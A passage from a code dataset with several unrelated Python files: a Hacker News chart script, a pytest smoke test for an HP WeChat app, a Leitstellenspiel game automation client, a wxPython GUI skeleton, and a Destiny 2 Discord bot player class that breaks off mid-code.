requests.get(URL)\r\nprint(\"Status code:\", r.status_code)\r\n\r\nsubmission_ids = r.json()\r\nsubmission_dicts = []\r\n# 对于前30的每一个ID\r\nfor submission_id in submission_ids[0:30]:\r\n url = 'https://hacker-news.firebaseio.com/v0/item/' + str(submission_id) + '.json'\r\n req = requests.get(url)\r\n submission_dicts.append(req.json())\r\n\r\n\"\"\"\r\nfor submission_dict in submission_dicts:\r\n print('\\nTitle: ', submission_dict['title'])\r\n print('Discussion LinK: ', submission_dict['url'])\r\n print('Comment: ', submission_dict['descendants'])\r\n\"\"\"\r\n\r\ntitles = [submission_dict['title'] for submission_dict in submission_dicts]\r\nplot_dicts = []\r\nfor submission_dict in submission_dicts:\r\n if submission_dict['descendants'] != 0 and dict.get(submission_dict, 'url'):\r\n plot_dict = {'value': submission_dict['descendants'],\r\n # 'label': submission_dict['kids'], # submission_dict['kids']是一个列表\r\n 'xlink': submission_dict['url'],\r\n }\r\n\r\n elif not dict.get(submission_dict, 'url'):\r\n plot_dict = {'value': submission_dict['descendants'],\r\n # 'label': 'None',\r\n 'xlink': 'No url',\r\n }\r\n plot_dicts.append(plot_dict)\r\n\r\n# 定制图标外观(改进)\r\nmy_config = pygal.Config()\r\nmy_config.x_label_rotation = 45\r\nmy_config.show_legend = False\r\nmy_config.title_font_size = 24\r\nmy_config.label_font_size = 14 # 副标签\r\nmy_config.major_label_font_size = 18 # 主标签\r\nmy_config.truncate_label = 15 # 将较长的项目名缩短为15个字符\r\nmy_config.show_y_guides = False\r\nmy_config.width = 1000\r\n# 可视化\r\nmy_style = LS('#333366', base_style=LCS)\r\nchart = pygal.Bar(my_config, style=my_style)\r\nchart.title = 'Most-Commented Stories on Hacker News'\r\nchart.x_labels = titles\r\n\r\nchart.add('', plot_dicts)\r\nchart.render_to_file('hn_submissions.svg')","sub_path":"python_work/DataVisualizaton/API/hn_submissions.py","file_name":"hn_submissions.py","file_ext":"py","file_size_in_byte":2145,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"650460190","text":"# coding: utf-8\nimport pytest\nfrom MobileApps.libs.flows.android.hpbridge.utility.prototype_uitility import PageTitle\n\npytest.app_info = \"hpbridge\"\n\n\nclass TestFilePrint(object):\n @pytest.fixture(scope=\"class\", autouse=\"true\")\n def class_setup(self, request, hpbridge_test_setup):\n self = self.__class__\n self.driver, self.fc = hpbridge_test_setup\n\n # Define flows\n self.wechat = self.fc.flow[\"wechat\"]\n self.pa_home = self.fc.flow[\"pa_home\"]\n self.pa_hp_supply = self.fc.flow[\"pa_hp_supply\"]\n\n # Define variables\n self.page_title = PageTitle.SUPPLY_PURCHASE.value\n self.hp_supply_points_app_name = PageTitle.HP_SUPPLY_CLUB_APP_NAME.value\n \"\"\"\n PreConditions:\n 1.Install the Wechat app\n 2.Login Wechat with valid account\n 3.The test printer has been enabled webservice and got the welcome page with QR code and Email address displayed on it. \n 4.One or more printers bound with the login Wechat account.\n 5.The test printer is not bound with the login Wechat account.\n \"\"\"\n\n def test_01_supply_purchase_page(self):\n \"\"\"\n Steps:\n 1.Go to public account and select \"个人中心\".\n 2.Open \"购买耗材\"\n 3.Select a printer\n Expected results:\n 1. Printer list shows up first.\n 2. Corresponding ink type shows up successful after choose printer.\n 3. The corresponding page can be opened\n Notes: the checkpoint 2 can only be tested by Gen1 printer\n \"\"\"\n self.wechat.goto_pa()\n self.pa_home.select_personal_center()\n self.pa_home.click_purchase_supply()\n self.pa_hp_supply.select_a_printer()\n self.pa_hp_supply.assert_page_title_is(self.page_title)\n\n def test_02_hp_supply_points_page(self):\n \"\"\"\n Steps:\n 1.Go to public account and select \"个人中心\".\n 2.Open \"惠普耗材积分\"\n Expected results:\n Verify it jumps to the \"惠普原装耗材积分俱乐部\" applet without any errors.\n :return:\n \"\"\"\n self.wechat.goto_pa()\n self.pa_home.select_personal_center()\n self.pa_home.click_hp_supply_points()\n self.pa_hp_supply.verify_hp_supply_club_app_name(self.hp_supply_points_app_name)\n","sub_path":"MobileApps/tests/android/hpbridge/smoke/test_16_pa_hp_supply_page_tests.py","file_name":"test_16_pa_hp_supply_page_tests.py","file_ext":"py","file_size_in_byte":2406,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"366693123","text":"# coding=utf-8\nimport requests\nfrom bs4 import BeautifulSoup\nimport re\nimport json\nfrom time import sleep\nimport logging\n\n\nclass LeitstellenAPI:\n session = None\n authenticity_token = ''\n user = {\"name\": \"\",\n \"id\": 0\n }\n\n headers = {\n \"Content - Type\": \"application / x - www - form - urlencoded\",\n \"User-Agent\":\n \"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.101 Safari/537.36\",\n }\n\n def __init__(self, email, password):\n with open('game_data.json', encoding='utf-8') as d:\n self.data = json.load(d)\n self.email = email\n self.password = password\n\n def login(self):\n self.session = requests.session()\n self.session.headers.update(self.headers)\n\n for i in range(1, 5):\n logging.info('logging in... [try %d]' % i)\n data = {\n 'authenticity_token': self.authenticity_token,\n 'user[email]': self.email,\n 'user[password]': self.password,\n 'user[remember_me]': 1,\n 'commit': 'Einloggen'\n }\n r = self.session.post(\"https://www.leitstellenspiel.de/users/sign_in\", data=data)\n\n login_page = BeautifulSoup(r.content, 'html.parser')\n self.authenticity_token = login_page.find('input', {'name': 'authenticity_token'}).get('value')\n\n user = login_page.find('a', {'id': 'navbar_profile_link'})\n if user:\n self.user['name'] = user.text[1:]\n id = re.findall('var\\W+user_id\\W*=\\W*(\\d+)\\W*;', login_page.text)[0]\n self.user['id'] = int(id)\n break\n logging.info('successfully logged in as %s' % self.user['name'])\n\n def get_all_missions(self):\n r = self.session.get('https://www.leitstellenspiel.de/')\n missions_json = re.findall('missionMarkerAdd\\((.*?)\\);', r.text)\n missions = {}\n for m in missions_json:\n mission = json.loads(m)\n mission['id'] = str(mission['id'])\n missions[mission['id']] = mission\n return missions\n\n def get_all_buildings(self):\n r = self.session.get('https://www.leitstellenspiel.de/')\n buildings_json = re.findall('buildingMarkerAdd\\((.*?)\\);', r.text)\n buildings = {}\n for b in buildings_json:\n building = json.loads(b)\n building['id'] = str(building['id'])\n buildings[building['id']] = building\n return buildings\n\n def get_mission_details(self, missionid):\n mission = {'vehicles': {}}\n r = self.session.get('https://www.leitstellenspiel.de/missions/%s' % missionid)\n mission_page = BeautifulSoup(r.content, 'html.parser')\n\n mission['vehicles']['driving'] = mission_page.find('table', {'id': 'mission_vehicle_driving'}) is not None\n mission['vehicles']['at_mission'] = mission_page.find('table', {'id': 'mission_vehicle_at_mission'}) is not None\n\n mission['vehicles']['avalible'] = []\n vehicle_table = mission_page.find('table', {'id': 'vehicle_show_table_all'})\n if vehicle_table is not None:\n vehicle_rows = vehicle_table.find('tbody').find_all('tr')\n for tr in vehicle_rows:\n type_id = tr.find('td', {'vehicle_type_id': True}).get('vehicle_type_id')\n v = {'id': int(tr.get('id')[24:]),\n 'type_id': int(type_id),\n 'caption': tr.get('vehicle_caption'),\n 'details': tr.find('input').attrs\n }\n mission['vehicles']['avalible'].append(v)\n return mission\n\n def send_cars_to_mission(self, missionid, car_ids):\n url = 'https://www.leitstellenspiel.de/missions/%s/alarm' % missionid\n\n data = {\n 'authenticity_token': self.authenticity_token,\n 'commit': 'Alarmieren',\n 'next_mission': 0,\n 'vehicle_ids[]': car_ids\n }\n self.session.post(url, data=data)\n\n def generate_missions(self):\n url = 'https://www.leitstellenspiel.de/mission-generate'\n try:\n self.session.get(url, headers={\"X-CSRF-Token\": self.authenticity_token, \"User-Agent\": self.headers[\"User-Agent\"]})\n except Exception:\n logging.exception('error reloading missions')\n\n def parse_missing(self, missing_text):\n if missing_text is None:\n return None\n vehicle_matches = re.findall('(?:[,:]) (\\d+) ([^,()]*?)(?: \\([^()]*\\))?(?=,|$)', missing_text)\n result = []\n for m in vehicle_matches:\n vtype = self.lookup_vehicle_type_by_name(m[1])\n for i in range(int(m[0])):\n result.append(vtype)\n return result\n\n def lookup_vehicle_type_by_name(self, name):\n if name in self.data['vehicle_type_names']:\n return self.data['vehicle_type_names'][name]\n else:\n logging.warning('unknown vehicle name: %s' % name)\n return 'unknown'\n\n def probe_need(self, missionid, avalible_cars):\n if len(avalible_cars) == 0:\n logging.info(\"no car avalible for probing\")\n return\n carid = avalible_cars[0]['id']\n self.send_cars_to_mission(missionid, [carid])\n sleep(2)\n self.recall_car_from_mission(carid)\n\n def recall_car_from_mission(self, carid):\n self.session.get('https://www.leitstellenspiel.de/vehicles/%s/backalarm?return=mission' % carid)\n\n def lookup_vehicle_type_ids(self, type):\n if type in self.data['vehicle_type_ids']:\n return self.data['vehicle_type_ids'][type]\n else:\n raise AttributeError('unknown vehicle type: %s' % type)\n\n def hire_crew(self, id, days):\n self.session.get('https://www.leitstellenspiel.de/buildings/%s/hire_do/%d' % (id, days))\n","sub_path":"LeitstellenAPI.py","file_name":"LeitstellenAPI.py","file_ext":"py","file_size_in_byte":5916,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"368743327","text":"#!/usr/bin/env python\r\n\r\n''' WxPython App '''\r\n\r\nimport wx\r\nimport plf\r\nimport debug\r\n\r\n\r\nclass Frame(wx.Frame):\r\n def _init_Param(self):\r\n # Frame\r\n self.CFG_FRAME_TITLE = 'qrib platform v0.01'\r\n\r\n # Menu\r\n self.CFG_MENU = (\r\n # File Menu\r\n (\r\n '&File',\r\n\r\n # name handler desc\r\n ('&Connect', None, ''),\r\n ('&Disonnect', None, ''),\r\n ('', None, ''),\r\n ('&Exit', self.MENU_Exit, ''),\r\n ),\r\n\r\n # Edit Menu\r\n (\r\n '&Edit',\r\n\r\n # name handler desc\r\n ('&Copy', None, ''),\r\n ('&Cut', None, ''),\r\n ('&Paste', None, ''),\r\n ('', None, ''),\r\n ('&Options', self.MENU_Options, ''),\r\n ),\r\n\r\n # Help Menu\r\n (\r\n '&Help',\r\n\r\n # name handler desc\r\n ('&Help', None, ''),\r\n ('&About', self.MENU_About, ''),\r\n ),\r\n )\r\n\r\n\r\n def __init__(self):\r\n\r\n # init parameters\r\n self._init_Param()\r\n\r\n # init frame\r\n wx.Frame.__init__(self,\r\n parent = None,\r\n id = wx.ID_ANY,\r\n title = self.CFG_FRAME_TITLE,\r\n size = (640,480),\r\n style = wx.DEFAULT_FRAME_STYLE ^ (wx.RESIZE_BORDER | wx.MAXIMIZE_BOX))\r\n self.Center()\r\n\r\n # create Panel\r\n self._create_Panel()\r\n\r\n # create MenuBar\r\n self._create_MenuBar()\r\n\r\n # create ToolBar\r\n self._create_ToolBar()\r\n\r\n # create StatusBar\r\n self._create_StatusBar()\r\n\r\n # create Buttons\r\n self._create_Button()\r\n\r\n self.Bind(wx.EVT_CLOSE, self.OnCloseWindow)\r\n\r\n\r\n def _create_Panel(self):\r\n self._panel = wx.Panel(self)\r\n self._panel.SetBackgroundColour('White')\r\n\r\n\r\n def _create_MenuBar(self):\r\n self._menuBar = wx.MenuBar()\r\n for vMenu in self.CFG_MENU:\r\n sMenuName = vMenu[0]\r\n vMenuItems = vMenu[1:]\r\n\r\n menu = wx.Menu()\r\n for (sLabel, vHandler, sDesc) in vMenuItems:\r\n if not sLabel:\r\n menu.AppendSeparator()\r\n else:\r\n menuItem = menu.Append(wx.ID_ANY, sLabel, sDesc)\r\n if vHandler:\r\n self.Bind(wx.EVT_MENU, vHandler, menuItem)\r\n self._menuBar.Append(menu, sMenuName)\r\n self.SetMenuBar(self._menuBar)\r\n\r\n\r\n def _create_ToolBar(self):\r\n #self._toolBar = self.CreateToolBar()\r\n\r\n # self._toolBar.AddSimpleTool(wx.ID_ANY, action, name, help_msg)\r\n\r\n #self._toolBar.Realize()\r\n pass\r\n\r\n\r\n def _create_StatusBar(self):\r\n self._statusBar = self.CreateStatusBar()\r\n self._statusBar.SetFieldsCount(3) # spit status bar to 3 parts\r\n #self._statusBar.SetStatusText(\"A Custom StatusBar...\", 2)\r\n\r\n\r\n def _create_Button(self):\r\n self._buttonText = wx.Button(self._panel, label=\"Enter Text\", pos=(200,380), size=(80,30))\r\n self._buttonChoice = wx.Button(self._panel, label=\"Select\", pos=(300,380), size=(80,30))\r\n\r\n self.Bind(wx.EVT_BUTTON, self.OnEnterText, self._buttonText)\r\n self.Bind(wx.EVT_BUTTON, self.OnChoice, self._buttonChoice)\r\n\r\n\r\n\r\n# Event dealing\r\n def OnEnterText(self, event):\r\n text = wx.TextEntryDialog(self, \"Please Enter Your Name:\", 'Your Name')\r\n if text.ShowModal() == wx.ID_OK:\r\n name = text.GetValue()\r\n msgBox = wx.MessageDialog(self, 'Hello, '+name, 'Welcome', wx.OK)\r\n msgBox.ShowModal()\r\n\r\n def OnChoice(self, event):\r\n dlg = wx.SingleChoiceDialog(self, 'Please select your age:',\r\n 'Your Age',\r\n ['<20', '20-40', '40-60', '60-80', '>80'])\r\n if dlg.ShowModal() == wx.ID_OK:\r\n response = dlg.GetStringSelection()\r\n msgBox = wx.MessageDialog(self, 'You select: '+response, 'Information', wx.OK)\r\n msgBox.ShowModal()\r\n\r\n def OnCloseWindow(self, event):\r\n plf._exit()\r\n self.Destroy()\r\n\r\n\r\n def MENU_Exit(self, event):\r\n plf._exit()\r\n self.Close(True)\r\n\r\n def MENU_Options(self, event):\r\n pass\r\n\r\n def MENU_About(self, event):\r\n msgBox = wx.MessageDialog(self,\r\n self.CFG_FRAME_TITLE,\r\n 'About',\r\n wx.OK)\r\n msgBox.ShowModal()\r\n\r\n\r\n\r\nclass App(wx.App):\r\n def OnInit(self):\r\n self.frame = Frame()\r\n self.frame.Show()\r\n self.SetTopWindow(self.frame)\r\n return True\r\n\r\n\r\ndef main():\r\n app = App()\r\n app.MainLoop()\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","sub_path":"master/source/main.pyw","file_name":"main.pyw","file_ext":"pyw","file_size_in_byte":5288,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"513523364","text":"from __future__ import annotations\n\nimport asyncio\nimport dataclasses\nimport datetime\nimport logging\nfrom typing import AsyncGenerator, Optional, Union\nfrom urllib.parse import urljoin\n\nimport discord\nfrom discord_slash import SlashContext\nfrom discord_slash.context import InteractionContext\n\nfrom ElevatorBot.database.database import (\n lookupDiscordID,\n lookupSystem,\n lookupDestinyID,\n insertFailToGetPgcrInstanceId,\n getLastUpdated,\n getPgcrActivity,\n updateLastUpdated,\n get_info_on_low_man_activity,\n getSeals,\n getWeaponInfo,\n)\nfrom ElevatorBot.functions.dataLoading import get_pgcr, insertPgcrToDB\nfrom ElevatorBot.functions.formating import embed_message\nfrom ElevatorBot.networking.bungieAuth import handle_and_return_token\nfrom ElevatorBot.networking.network import (\n get_json_from_bungie_with_token,\n get_json_from_url,\n)\n\n\nrace_map = {2803282938: \"Awoken\", 898834093: \"Exo\", 3887404748: \"Human\"}\ngender_map = {\n 2204441813: \"Female\",\n 3111576190: \"Male\",\n}\nclass_map = {671679327: \"Hunter\", 2271682572: \"Warlock\", 3655393761: \"Titan\"}\n\ndont_know_user_error_message = embed_message(\n f\"Error\",\n f\"I either possess no information about that user or their authentication is outdated. \\nPlease `/registerdesc` to fix this issue'\",\n)\n\n\n@dataclasses.dataclass(eq=False)\nclass DestinyPlayer:\n destiny_id: int\n system: int\n discord_id: Optional[int]\n\n # params that shouldn't be accessed directly\n _characters: dict = dataclasses.field(default_factory=dict)\n _full_character_list: list[dict] = dataclasses.field(default_factory=list)\n\n _bungie_name: str = None\n _last_played: datetime.datetime = None\n\n _clan_id: int = None\n _clan_is_online: bool = None\n\n _triumphs: dict = None\n _collectibles: dict = None\n _metrics: dict = None\n _stats: dict = None\n _character_activity_stats: dict = dataclasses.field(default_factory=dict)\n\n _seasonal_artifact: dict = None\n _gear: list[dict] = None\n\n _all_seals: list[int] = dataclasses.field(default_factory=list)\n _completed_seals: list[int] = dataclasses.field(default_factory=list)\n\n _base_bungie_url: str = \"https://stats.bungie.net/Platform/\"\n\n def __eq__(self, other: DestinyPlayer) -> bool:\n return self.destiny_id == other.destiny_id\n\n def __bool__(self) -> bool:\n return bool(self.destiny_id and self.system and self.discord_id)\n\n @classmethod\n async def from_destiny_id(\n cls, destiny_id: int, ctx: Union[SlashContext, InteractionContext] = None\n ) -> DestinyPlayer:\n \"\"\"Populate with destinyID\"\"\"\n\n system = await lookupSystem(destiny_id)\n discord_id = await lookupDiscordID(destiny_id)\n\n if ctx:\n await ctx.send(hidden=True, embed=dont_know_user_error_message)\n\n return cls(destiny_id=destiny_id, system=system, discord_id=discord_id)\n\n @classmethod\n async def from_discord_id(\n cls, discord_id: int, ctx: Union[SlashContext, InteractionContext] = None\n ) -> Optional[DestinyPlayer]:\n \"\"\"Populate with discordID. Might not work\"\"\"\n\n destiny_id = await lookupDestinyID(discord_id)\n if not destiny_id:\n if ctx:\n await ctx.send(hidden=True, embed=dont_know_user_error_message)\n else:\n return None\n\n system = await lookupSystem(destiny_id)\n\n return cls(destiny_id=destiny_id, system=system, discord_id=discord_id)\n\n async def has_token(self) -> bool:\n \"\"\"Returns if the user has a valid token\"\"\"\n\n return bool((await handle_and_return_token(self.discord_id)).token)\n\n async def get_clan_id_and_online_status(\n self,\n ) -> tuple[Optional[int], Optional[bool]]:\n \"\"\"Get in-game clan or None\"\"\"\n\n url = urljoin(\n self._base_bungie_url, f\"GroupV2/User/{self.system}/{self.destiny_id}/0/1/\"\n )\n response = await get_json_from_url(url=url)\n if response:\n self._clan_id = int(\n response.content[\"Response\"][\"results\"][0][\"member\"][\"groupId\"]\n )\n self._clan_is_online = response.content[\"Response\"][\"results\"][0][\"member\"][\n \"isOnline\"\n ]\n\n return self._clan_id, self._clan_is_online\n\n def get_discord_user(self, client: discord.Client) -> Optional[discord.User]:\n \"\"\"Get discord.User or None\"\"\"\n\n return client.get_user(self.discord_id) if self.discord_id else None\n\n def get_discord_member(self, guild: discord.Guild) -> Optional[discord.Member]:\n \"\"\"Get discord.Member for specified guild or None\"\"\"\n\n return guild.get_member(self.discord_id) if self.discord_id else None\n\n async def has_triumph(self, triumph_hash: Union[str, int]) -> bool:\n \"\"\"Returns if the triumph is gotten\"\"\"\n\n triumph_hash = str(triumph_hash)\n\n if not await self.get_triumphs():\n return False\n if triumph_hash not in self._triumphs:\n return False\n\n # calculate if the triumph is gotten\n status = True\n if \"objectives\" not in self._triumphs[triumph_hash]:\n # make sure it's RewardUnavailable aka legacy\n assert self._triumphs[triumph_hash][\"state\"] & 2\n\n # https://bungie-net.github.io/multi/schema_Destiny-DestinyRecordState.html#schema_Destiny-DestinyRecordState\n status &= self._triumphs[triumph_hash][\"state\"] & 1\n\n return status\n\n for part in self._triumphs[triumph_hash][\"objectives\"]:\n status &= part[\"complete\"]\n\n return status\n\n async def has_collectible(self, collectible_hash: Union[str, int]) -> bool:\n \"\"\"Returns if the collectible is gotten\"\"\"\n\n collectible_hash = str(collectible_hash)\n\n if not await self._get_collectibles():\n return False\n\n # look if its a profile collectible\n if (\n collectible_hash\n in self._collectibles[\"profileCollectibles\"][\"data\"][\"collectibles\"]\n ):\n return (\n self._collectibles[\"profileCollectibles\"][\"data\"][\"collectibles\"][\n collectible_hash\n ][\"state\"]\n & 1\n == 0\n )\n\n # look if its a character specific collectible\n for character_collectibles in self._collectibles[\"characterCollectibles\"][\n \"data\"\n ].values():\n if collectible_hash in character_collectibles[\"collectibles\"]:\n return (\n character_collectibles[\"collectibles\"][collectible_hash][\"state\"]\n & 1\n == 0\n )\n\n return False\n\n async def get_metric_value(self, metric_hash: Union[str, int]) -> Optional[int]:\n \"\"\"Returns the value of the given metric hash\"\"\"\n\n metric_hash = str(metric_hash)\n\n if not await self._get_collectibles():\n return False\n\n if metric_hash in self._metrics.keys():\n return self._metrics[metric_hash][\"objectiveProgress\"][\"progress\"]\n else:\n return None\n\n async def get_stat_value(\n self,\n stat_name: str,\n stat_category: str = \"allTime\",\n character_id: Union[int, str] = None,\n ) -> Optional[int]:\n \"\"\"Returns the value of the given stat\"\"\"\n\n if not await self._get_stats():\n return None\n\n possible_stat_categories = [\n \"allTime\",\n \"allPvE\",\n \"allPvP\",\n ]\n assert (\n stat_category not in possible_stat_categories\n ), f\"Stat must be one of {possible_stat_categories}\"\n\n # total stats\n if not character_id:\n try:\n stat = self._stats[\"mergedAllCharacters\"][\"merged\"][stat_category][\n stat_name\n ][\"basic\"][\"value\"]\n return int(stat)\n except KeyError:\n return None\n\n # character stats\n else:\n for char in self._stats[\"characters\"]:\n if char[\"characterId\"] == str(character_id):\n try:\n stat = self._stats[\"merged\"][stat_category][stat_name][\"basic\"][\n \"value\"\n ]\n return int(stat)\n except KeyError:\n return None\n\n return None\n\n async def get_artifact(self) -> Optional[dict]:\n \"\"\"Returns the seasonal artifact data\"\"\"\n\n if not self._seasonal_artifact:\n result = await self._get_profile([104], with_token=True)\n if result:\n self._seasonal_artifact = result[\"profileProgression\"][\"data\"][\n \"seasonalArtifact\"\n ]\n\n return self._seasonal_artifact\n\n async def get_player_seals(self) -> tuple[list[int], list[int]]:\n \"\"\"Returns all seals and the seals a player has. Returns two lists: [triumph_hash, ...] and removes wip seals like WF LW\"\"\"\n\n if not self._all_seals:\n seals = await getSeals()\n for seal in seals:\n self._all_seals.append(seal[0])\n if await self.has_triumph(seal[0]):\n self._completed_seals.append(seal)\n\n return self._all_seals, self._completed_seals\n\n async def get_destiny_name_and_last_played(self) -> tuple[str, datetime.datetime]:\n \"\"\"Returns the current user name\"\"\"\n\n if not self._bungie_name:\n result = await self._get_profile([100])\n if result:\n self._bungie_name = result[\"profile\"][\"data\"][\"userInfo\"][\"displayName\"]\n last_played = result[\"profile\"][\"data\"][\"dateLastPlayed\"]\n self._last_played = datetime.datetime.strptime(\n last_played, \"%Y-%m-%dT%H:%M:%SZ\"\n )\n\n return self._bungie_name, self._last_played\n\n async def get_character_info(self) -> Optional[dict]:\n \"\"\"Get character info\n\n Returns existing_chars=\n {\n charID: {\n \"class\": str,\n \"race\": str,\n \"gender\": str,\n },\n ...\n }\n \"\"\"\n\n if not self._characters:\n result = await self._get_profile([200])\n\n if result:\n self._characters = {}\n\n # loop through each character\n for characterID, character_data in result[\"characters\"][\"data\"].items():\n characterID = int(characterID)\n\n # format the data correctly and convert the hashes to strings\n self._characters[characterID] = {\n \"class\": class_map[character_data[\"classHash\"]],\n \"race\": race_map[character_data[\"raceHash\"]],\n \"gender\": gender_map[character_data[\"genderHash\"]],\n }\n\n return self._characters\n\n async def get_character_id_by_class(self, character_class: str) -> Optional[int]:\n \"\"\"Return the matching character id if exists\"\"\"\n\n # make sure the class exists\n class_names = list(class_map.values())\n if character_class not in class_names:\n return None\n\n # loop through the chars and return the matching one\n characters = await self.get_character_info()\n if characters:\n for character_id, character_data in characters.items():\n if character_data[\"class\"] == character_class:\n return character_id\n return None\n\n async def get_character_activity_stats(self, character_id: int) -> Optional[dict]:\n \"\"\"Get destiny stats for the specified character\"\"\"\n\n if character_id not in self._character_activity_stats:\n url = urljoin(\n self._base_bungie_url,\n f\"Destiny2/{self.system}/Account/{self.destiny_id}/Character/{character_id}/Stats/AggregateActivityStats/\",\n )\n response = await get_json_from_url(url=url)\n if response:\n self._character_activity_stats[character_id] = response.content[\n \"Response\"\n ]\n\n return (\n self._character_activity_stats[character_id]\n if character_id in self._character_activity_stats\n else None\n )\n\n async def get_player_gear(self) -> Optional[list[dict]]:\n \"\"\"Returns a list of items - equipped and unequipped\"\"\"\n\n if not self._gear:\n characters = await self.get_character_info()\n\n # not equipped on characters\n used_items = await self._get_profile([201, 205, 300], with_token=True)\n if used_items:\n item_power = {\n weapon_id: int(\n weapon_data.get(\"primaryStat\", {\"value\": 0})[\"value\"]\n )\n for weapon_id, weapon_data in used_items[\"itemComponents\"][\n \"instances\"\n ][\"data\"].items()\n }\n item_power[\"none\"] = 0\n for character_id in characters.keys():\n character_items = (\n used_items[\"characterInventories\"][\"data\"][character_id][\n \"items\"\n ]\n + used_items[\"characterEquipment\"][\"data\"][character_id][\n \"items\"\n ]\n )\n character_power_items = map(\n lambda character_item: dict(\n character_item,\n **{\n \"lightlevel\": item_power[\n character_item.get(\"itemInstanceId\", \"none\")\n ]\n },\n ),\n character_items,\n )\n self._gear.extend(character_power_items)\n\n return self._gear\n\n async def get_weapon_stats(\n self, weapon_ids: list[int], character_id: int = None, mode: int = 0\n ) -> tuple[int, int]:\n \"\"\"Returns kills, precision_kills for that weapon in the specified mode\"\"\"\n\n # get the info from the DB\n results = []\n for weapon_id in weapon_ids:\n if character_id:\n results.extend(\n await getWeaponInfo(\n membershipID=self.destiny_id,\n weaponID=weapon_id,\n characterID=character_id,\n mode=mode,\n )\n )\n else:\n results.extend(\n await getWeaponInfo(\n membershipID=self.destiny_id, weaponID=weapon_id, mode=mode\n )\n )\n\n # add stats\n kills = 0\n precision_kills = 0\n for _, k, p_k in results:\n kills += k\n precision_kills += p_k\n\n return kills, precision_kills\n\n async def has_lowman(\n self,\n max_player_count: int,\n activity_hashes: list[int],\n require_flawless: bool = False,\n no_checkpoints: bool = False,\n disallowed: list[tuple[datetime.datetime, datetime.datetime]] = None,\n score_threshold: bool = False,\n ) -> bool:\n \"\"\"Returns if player has a lowman in the given hashes. Disallowed is a list of (start_time, end_time) with datetime objects\"\"\"\n\n if disallowed is None:\n disallowed = []\n\n low_activity_info = await get_info_on_low_man_activity(\n activity_hashes=activity_hashes,\n player_count=max_player_count,\n destiny_id=self.destiny_id,\n no_checkpoints=no_checkpoints,\n score_threshold=score_threshold,\n )\n\n for (\n instance_id,\n deaths,\n kills,\n time_played_seconds,\n period,\n ) in low_activity_info:\n # check for flawless if asked for\n if not require_flawless or deaths == 0:\n verdict = True\n\n for start_time, end_time in disallowed:\n if start_time < period < end_time:\n verdict = False\n if (\n 910380154 in activity_hashes\n and kills * 60 / time_played_seconds < 1\n ):\n verdict = False\n if verdict:\n return True\n return False\n\n async def get_lowman_count(\n self, activity_hashes: list[int]\n ) -> tuple[int, int, Optional[datetime.timedelta]]:\n \"\"\"Returns tuple[solo_count, solo_is_flawless_count, Optional[solo_fastest]]\"\"\"\n\n solo_count, solo_is_flawless_count, solo_fastest = 0, 0, None\n\n # get player data\n records = await get_info_on_low_man_activity(\n activity_hashes=activity_hashes,\n player_count=1,\n destiny_id=self.destiny_id,\n no_checkpoints=True,\n )\n\n # prepare player data\n for solo in records:\n solo_count += 1\n if solo[\"deaths\"] == 0:\n solo_is_flawless_count += 1\n if not solo_fastest or (solo[\"timeplayedseconds\"] < solo_fastest):\n solo_fastest = solo[\"timeplayedseconds\"]\n\n return (\n solo_count,\n solo_is_flawless_count,\n datetime.timedelta(seconds=solo_fastest) if solo_fastest else solo_fastest,\n )\n\n async def get_activity_history(\n self,\n mode: int = 0,\n earliest_allowed_datetime: datetime.datetime = None,\n latest_allowed_datetime: datetime.datetime = None,\n ) -> AsyncGenerator[Optional[dict]]:\n \"\"\"\n Generator which returns all activities with an extra field < activity['charid'] = character_id >\n For more Info visit https://bungie-net.github.io/multi/schema_Destiny-HistoricalStats-DestinyHistoricalStatsPeriodGroup.html#schema_Destiny-HistoricalStats-DestinyHistoricalStatsPeriodGroup\n\n :mode - Describes the mode, see https://bungie-net.github.io/multi/schema_Destiny-HistoricalStats-Definitions-DestinyActivityModeType.html#schema_Destiny-HistoricalStats-Definitions-DestinyActivityModeType\n Everything\t0\n Story\t 2\n Strike\t 3\n Raid\t 4\n AllPvP\t 5\n Patrol\t 6\n AllPvE\t 7\n ...\n :earliest_allowed_time - takes datetime.datetime and describes the lower cutoff\n :latest_allowed_time - takes datetime.datetime and describes the higher cutoff\n \"\"\"\n\n for character in await self._get_full_character_list():\n character_id = character[\"char_id\"]\n\n br = False\n page = -1\n while True:\n page += 1\n\n url = urljoin(\n self._base_bungie_url,\n f\"Destiny2/{self.system}/Account/{self.destiny_id}/Character/{character_id}/Stats/Activities/\",\n )\n params = {\n \"mode\": mode,\n \"count\": 250,\n \"page\": page,\n }\n\n # break once threshold is reached\n if br:\n break\n\n # get activities\n rep = await get_json_from_url(url=url, params=params)\n\n # break process if no web response is gotten and log that\n if not rep:\n logger = logging.getLogger(\"update_activity_db\")\n logger.error(\n \"Failed to get web response for destinyID '%s': WebResponse = '%s'\",\n self.destiny_id,\n rep,\n )\n\n yield None\n\n # break if empty, fe. when pages are over\n if not rep.content[\"Response\"]:\n break\n\n # loop through all activities\n for activity in rep.content[\"Response\"][\"activities\"]:\n # check times if wanted\n if earliest_allowed_datetime or latest_allowed_datetime:\n activity_time = datetime.datetime.strptime(\n activity[\"period\"], \"%Y-%m-%dT%H:%M:%SZ\"\n )\n\n # check if the activity started later than the earliest allowed, else break and continue with next char\n # This works bc Bungie sorts the api with the newest entry on top\n if earliest_allowed_datetime:\n if activity_time <= earliest_allowed_datetime:\n br = True\n break\n\n # check if the time is still in the timeframe, else pass this one and do the next\n if latest_allowed_datetime:\n if activity_time > latest_allowed_datetime:\n pass\n\n # add character info to the activity\n activity[\"charid\"] = character_id\n\n yield activity\n\n async def update_activity_db(self, entry_time: datetime = None) -> None:\n \"\"\"Gets this users not-saved history and saves it\"\"\"\n\n async def handle(i: int, t) -> Optional[list[int, datetime.datetime, dict]]:\n # get PGCR\n pgcr = await get_pgcr(i)\n if not pgcr:\n await insertFailToGetPgcrInstanceId(i, t)\n logger.warning(\"Failed getting pgcr <%s>\", i)\n return\n return [i, t, pgcr.content[\"Response\"]]\n\n async def input_data(\n gather_instance_ids: list[int],\n gather_activity_times: list[datetime.datetime],\n ) -> None:\n results = await asyncio.gather(\n *[\n handle(i, 